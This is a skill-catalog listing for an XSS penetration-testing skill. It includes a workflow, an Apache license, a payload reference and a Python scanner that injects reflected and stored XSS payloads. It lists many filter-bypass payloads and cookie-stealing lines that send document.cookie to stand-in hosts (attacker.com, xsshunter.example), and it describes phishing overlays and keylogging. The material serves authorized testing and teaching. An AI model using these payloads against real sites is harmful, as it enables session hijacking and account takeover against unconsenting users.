
Testing For Xss Vulnerabilities
- 390 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Probe forms, rich text, URL params, and DOM sinks for reflected, stored, and DOM-based XSS before shipping user-facing web features.
About
Covers XSS vulnerability testing for web apps: identifying unsafe rendering, input reflection, DOM sinks, CSP gaps, and sanitization failures in forms, dashboards, and extensions before production deployment.
- Stored XSS probes
- Reflected input tests
- DOM sink review
- CSP validation
- Encoding checks
Testing For Xss Vulnerabilities by the numbers
- 390 all-time installs (skills.sh)
- +29 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #562 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 390 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Probe forms, rich text, URL params, and DOM sinks for reflected, stored, and DOM-based XSS before shipping user-facing web features.
Files
Testing for XSS Vulnerabilities
When to Use
- Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
- Evaluating the effectiveness of input sanitization and output encoding across all application features
- Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
- Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
- Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering
Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.
Prerequisites
- Authorized scope defining the target web application and acceptable testing activities
- Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
- Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
- XSS Hunter or Burp Collaborator for out-of-band payload verification
- SecLists XSS payload lists and custom payloads for WAF bypass scenarios
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Input and Output Mapping
Map every location where user input enters and is rendered by the application:
- Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
- Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
- DOM inputs: Identify client-side JavaScript that reads from
location.hash,location.search,document.referrer,window.name,postMessage, orlocalStorageand writes to the DOM - Output context identification: For each reflected input, determine the rendering context:
- HTML body:
<div>USER_INPUT</div> - HTML attribute:
<input value="USER_INPUT"> - JavaScript string:
var x = 'USER_INPUT'; - URL context:
<a href="USER_INPUT"> - CSS context:
<div style="color: USER_INPUT">
Step 2: Reflected XSS Testing
Test reflected injection points with context-appropriate payloads:
- HTML body context:
<script>alert(document.domain)</script>,<img src=x onerror=alert(1)>,<svg onload=alert(1)> - HTML attribute context:
" onfocus=alert(1) autofocus="," onmouseover=alert(1) ","><script>alert(1)</script> - JavaScript string context:
';alert(1)//,\';alert(1)//,</script><script>alert(1)</script> - URL/href context:
javascript:alert(1),data:text/html,<script>alert(1)</script> - Inside HTML comments:
--><script>alert(1)</script><!-- - Filter bypass payloads (when basic payloads are blocked):
- Case variation:
<ScRiPt>alert(1)</sCrIpT> - Event handlers:
<details open ontoggle=alert(1)> - SVG:
<svg><animate onbegin=alert(1) attributeName=x> - Encoding:
<img src=x onerror=alert(1)>
Step 3: Stored XSS Testing
Test persistent storage points that render input to other users:
- Submit XSS payloads to every stored input field identified in Step 1
- Use a unique identifier in each payload to track which inputs trigger:
<script>alert('XSS-PROFILE-001')</script> - Check all locations where the stored input is rendered (the same input may appear on multiple pages)
- Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
- Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
- Use XSS Hunter payloads (
"><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access
Step 4: DOM-Based XSS Testing
Analyze client-side JavaScript for unsafe DOM manipulation:
- Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
document.location,document.URL,document.referrerlocation.hash,location.search,location.hrefwindow.name,postMessageevent data- Sink identification: Search for dangerous sinks that write to the DOM:
innerHTML,outerHTML,document.write(),document.writeln()eval(),setTimeout(),setInterval(),Function()element.setAttribute()with event handlers,jQuery.html(),.append(),v-html(Vue),dangerouslySetInnerHTML(React)- Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.
- Framework-specific testing: Test React
dangerouslySetInnerHTML, Angular template injection ({{constructor.constructor('alert(1)')()}}), Vuev-htmldirective
Step 5: CSP Bypass and Advanced Exploitation
Test Content Security Policy effectiveness and demonstrate real-world impact:
- CSP analysis: Review the CSP header for weaknesses:
unsafe-inlinein script-src allows inline scriptsunsafe-evalallows eval() and similar functions- Wildcard domains (
*.googleapis.com) may host JSONP endpoints usable for CSP bypass base-urinot set allows<base>tag injection to redirect relative script loads- JSONP bypass: If CSP allows a domain with JSONP endpoints, use
<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script> - Impact demonstration:
- Session hijacking:
<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script> - Credential phishing: Inject a fake login form overlay that submits to the attacker's server
- Keylogging: Inject JavaScript that captures keystrokes on the page
- Account takeover: Use XSS to change the victim's email address and trigger a password reset
Key Concepts
| Term | Definition |
|---|---|
| Reflected XSS | Non-persistent XSS where the injected payload is included in the server's response to the same request, requiring the victim to click a crafted URL |
| Stored XSS | Persistent XSS where the payload is saved on the server and served to other users who view the affected page |
| DOM-Based XSS | XSS that occurs entirely in the browser when client-side JavaScript reads attacker-controlled data and writes it to a dangerous DOM sink |
| Content Security Policy | HTTP response header that restricts which sources the browser can load scripts, styles, and other resources from, providing defense-in-depth against XSS |
| Output Encoding | Converting special characters to their HTML entity equivalents (e.g., < to <) to prevent the browser from interpreting user input as code |
| Sink | A JavaScript function or DOM property that can cause code execution or HTML rendering if attacker-controlled data reaches it unsanitized |
Tools & Systems
- Burp Suite Professional: HTTP proxy with active scanning for reflected and stored XSS, plus Repeater and Intruder for manual payload testing
- XSS Hunter: Hosted service that generates payloads which phone home with screenshots, cookies, and DOM content when triggered, essential for blind stored XSS
- DOMPurify: Client-side sanitization library used by developers to prevent XSS; testers should test for bypass techniques against the deployed version
- Browser Developer Tools: Console, Network, and Elements tabs for tracing DOM-based XSS data flows and testing payloads in real-time
Common Scenarios
Scenario: Stored XSS in Customer Support Ticket System
Context: An e-commerce platform has a customer support system where customers submit tickets that are viewed by support agents in an internal admin panel. The ticket submission form accepts HTML formatting.
Approach: 1. Submit a support ticket with a unique XSS Hunter payload in the ticket description 2. The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot 3. Use the captured admin session cookie to access the admin panel as the support agent 4. From the admin panel, access customer records, order data, and refund functionality 5. Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised 6. Test if CSP would have prevented the attack (in this case, no CSP header was present)
Pitfalls:
- Only testing for
<script>alert(1)</script>and missing XSS that fires through event handlers or in non-HTML contexts - Not testing stored XSS in features that render to administrative users (support tickets, user profiles viewed by admins)
- Ignoring DOM-based XSS in single-page applications where the server-side code is secure but client-side rendering is vulnerable
- Not checking for XSS in HTTP headers (Referer, User-Agent) that may be logged and rendered in admin dashboards
Output Format
## Finding: Stored XSS in Support Ticket Description
**ID**: XSS-002
**Severity**: High (CVSS 8.1)
**Affected URL**: POST /api/tickets (submission), GET /admin/tickets/8847 (trigger)
**Parameter**: description (POST body)
**XSS Type**: Stored (persistent)
**Description**:
The support ticket description field does not sanitize HTML input before storing
it in the database. When a support agent views the ticket in the admin panel, the
unsanitized HTML is rendered in the agent's browser, allowing arbitrary JavaScript
execution in the context of the admin application.
**Proof of Concept**:
Submitted ticket with payload:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
The payload fired when the agent viewed the ticket, exfiltrating the admin session
cookie to the XSS Hunter server.
**Impact**:
An attacker can steal the session tokens of support agents and administrators,
gaining access to the admin panel with privileges to view customer PII, process
refunds, and modify orders. Affects all 23 support agents who view customer tickets.
**Remediation**:
1. Implement output encoding using a context-aware library (OWASP Java Encoder,
DOMPurify for client-side rendering)
2. Deploy Content Security Policy header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. Set HttpOnly flag on session cookies to prevent JavaScript access
4. Sanitize HTML input server-side using a whitelist approach (allow only safe tags)
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing for XSS Vulnerabilities
requests Library for XSS Testing
Reflection Testing
from urllib.parse import quote
# Inject canary to find reflection points
resp = requests.get(f"{url}?q={canary}")
if canary in resp.text:
# Input is reflected - test payloads
resp = requests.get(f"{url}?q={quote(payload)}")XSS Payload Categories
| Context | Example Payload |
|---|---|
| HTML body | <script>alert(document.domain)</script> |
| HTML attribute | " onfocus=alert(1) autofocus=" |
| JavaScript string | ';alert(1)// |
| URL/href | javascript:alert(1) |
| Event handler | <img src=x onerror=alert(1)> |
| SVG | <svg onload=alert(1)> |
| Filter bypass | <ScRiPt>alert(1)</sCrIpT> |
XSS Types
| Type | Description | Persistence |
|---|---|---|
| Reflected | Payload in URL/request, reflected in response | Non-persistent |
| Stored | Payload saved server-side, rendered to others | Persistent |
| DOM-based | Payload processed by client-side JavaScript | Client-side |
CSP Analysis
| Directive | Insecure Value | Risk |
|---|---|---|
script-src | 'unsafe-inline' | Allows inline <script> tags |
script-src | 'unsafe-eval' | Allows eval() and similar |
script-src | *.googleapis.com | May host JSONP endpoints |
base-uri | Not set | Allows <base> tag injection |
default-src | * | Allows scripts from any origin |
Cookie Security Flags
| Flag | Purpose |
|---|---|
HttpOnly | Prevents JavaScript access to cookies |
Secure | Only send over HTTPS |
SameSite | Cross-site request protection |
References
- OWASP XSS Guide: https://owasp.org/www-community/attacks/xss/
- XSS Filter Evasion: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
- CSP Evaluator: https://csp-evaluator.withgoogle.com/
- PortSwigger XSS: https://portswigger.net/web-security/cross-site-scripting
#!/usr/bin/env python3
"""Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments."""
import requests
import json
import argparse
import urllib3
from datetime import datetime
from urllib.parse import urljoin, quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
XSS_PAYLOADS = {
"html_body": [
'<script>alert(document.domain)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<details open ontoggle=alert(1)>',
'<body onload=alert(1)>',
],
"html_attribute": [
'" onfocus=alert(1) autofocus="',
'" onmouseover=alert(1) "',
'"><script>alert(1)</script>',
"' onfocus=alert(1) autofocus='",
],
"javascript_context": [
"';alert(1)//",
"\\';alert(1)//",
"</script><script>alert(1)</script>",
],
"filter_bypass": [
'<ScRiPt>alert(1)</sCrIpT>',
'<img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>',
],
}
CANARY = "xsscanary7391"
def detect_reflection_context(response_text, canary):
"""Determine the rendering context of reflected input."""
contexts = []
if f">{canary}<" in response_text or f">{canary} " in response_text:
contexts.append("html_body")
if f'="{canary}"' in response_text or f"='{canary}'" in response_text:
contexts.append("html_attribute")
if f"'{canary}'" in response_text or f'"{canary}"' in response_text:
if "<script>" in response_text.lower():
contexts.append("javascript_context")
if f'href="{canary}' in response_text or f"href='{canary}" in response_text:
contexts.append("url_context")
return contexts if contexts else ["html_body"]
def test_reflected_xss(base_url, params, token=None):
"""Test URL parameters for reflected XSS."""
print("\n[*] Testing reflected XSS...")
findings = []
headers = {}
if token:
headers["Authorization"] = f"Bearer {token}"
for param_url in params:
url = urljoin(base_url, param_url)
canary_url = url.replace("FUZZ", CANARY)
try:
resp = requests.get(canary_url, headers=headers, timeout=10, verify=False)
if CANARY not in resp.text:
continue
contexts = detect_reflection_context(resp.text, CANARY)
print(f" [+] Reflection found at {param_url} (contexts: {contexts})")
char_test_url = url.replace("FUZZ", '<>"\'&/')
char_resp = requests.get(char_test_url, headers=headers, timeout=10, verify=False)
unencoded = []
for ch in ['<', '>', '"', "'", '/']:
if ch in char_resp.text and f"&{ch}" not in char_resp.text:
unencoded.append(ch)
for context in contexts:
payloads = XSS_PAYLOADS.get(context, XSS_PAYLOADS["html_body"])
for payload in payloads:
test_url = url.replace("FUZZ", quote(payload))
try:
test_resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
if payload in test_resp.text or payload.lower() in test_resp.text.lower():
findings.append({
"type": "REFLECTED_XSS", "url": param_url,
"payload": payload, "context": context,
"severity": "HIGH",
})
print(f" [!] XSS CONFIRMED: {param_url} | payload: {payload[:50]}")
break
except requests.RequestException:
continue
except requests.RequestException:
continue
return findings
def test_stored_xss(base_url, submit_endpoint, display_endpoint, token, field="body"):
"""Test stored XSS via form submission."""
print(f"\n[*] Testing stored XSS on {submit_endpoint}...")
findings = []
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
submit_url = urljoin(base_url, submit_endpoint)
display_url = urljoin(base_url, display_endpoint)
for payload_type, payloads in XSS_PAYLOADS.items():
for payload in payloads[:2]:
marker = f"XSS-{payload_type}-{hash(payload) % 10000}"
tagged_payload = f"{marker}:{payload}"
try:
resp = requests.post(submit_url, headers=headers,
json={field: tagged_payload}, timeout=10, verify=False)
if resp.status_code in (200, 201):
display_resp = requests.get(display_url, headers=headers,
timeout=10, verify=False)
if payload in display_resp.text:
findings.append({
"type": "STORED_XSS", "submit": submit_endpoint,
"display": display_endpoint, "payload": payload,
"severity": "CRITICAL",
})
print(f" [!] STORED XSS: {payload[:50]}")
break
except requests.RequestException:
continue
return findings
def check_csp_header(base_url):
"""Analyze Content Security Policy header for XSS protection."""
print(f"\n[*] Checking CSP header on {base_url}...")
findings = []
try:
resp = requests.get(base_url, timeout=10, verify=False)
csp = resp.headers.get("Content-Security-Policy", "")
xxp = resp.headers.get("X-XSS-Protection", "")
if not csp:
findings.append({"type": "NO_CSP", "severity": "MEDIUM"})
print(" [!] No Content-Security-Policy header")
else:
print(f" [+] CSP: {csp[:100]}...")
if "unsafe-inline" in csp:
findings.append({"type": "CSP_UNSAFE_INLINE", "severity": "HIGH"})
print(" [!] CSP allows 'unsafe-inline'")
if "unsafe-eval" in csp:
findings.append({"type": "CSP_UNSAFE_EVAL", "severity": "HIGH"})
print(" [!] CSP allows 'unsafe-eval'")
if "*" in csp:
findings.append({"type": "CSP_WILDCARD", "severity": "MEDIUM"})
print(" [!] CSP contains wildcard domains")
if not xxp:
print(" [INFO] No X-XSS-Protection header (deprecated)")
cookie_headers = resp.headers.get("Set-Cookie", "")
if cookie_headers and "httponly" not in cookie_headers.lower():
findings.append({"type": "COOKIE_NO_HTTPONLY", "severity": "MEDIUM"})
print(" [!] Session cookie missing HttpOnly flag")
except requests.RequestException as e:
print(f" [-] Error: {e}")
return findings
def generate_report(findings, output_path):
"""Generate XSS assessment report."""
report = {
"assessment_date": datetime.now().isoformat(),
"total_findings": len(findings),
"by_type": {},
"findings": findings,
}
for f in findings:
t = f.get("type", "UNKNOWN")
report["by_type"][t] = report["by_type"].get(t, 0) + 1
with open(output_path, "w") as fh:
json.dump(report, fh, indent=2)
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
def main():
parser = argparse.ArgumentParser(description="XSS Vulnerability Testing Agent")
parser.add_argument("base_url", help="Base URL of the target")
parser.add_argument("--token", help="Bearer token for authenticated testing")
parser.add_argument("--params", nargs="+", default=["/search?q=FUZZ", "/page?name=FUZZ"])
parser.add_argument("--submit-endpoint", help="Endpoint to submit stored XSS")
parser.add_argument("--display-endpoint", help="Endpoint where stored input is displayed")
parser.add_argument("-o", "--output", default="xss_report.json")
args = parser.parse_args()
print(f"[*] XSS Vulnerability Assessment: {args.base_url}")
findings = []
findings.extend(check_csp_header(args.base_url))
findings.extend(test_reflected_xss(args.base_url, args.params, args.token))
if args.submit_endpoint and args.display_endpoint:
findings.extend(test_stored_xss(args.base_url, args.submit_endpoint,
args.display_endpoint, args.token))
generate_report(findings, args.output)
if __name__ == "__main__":
main()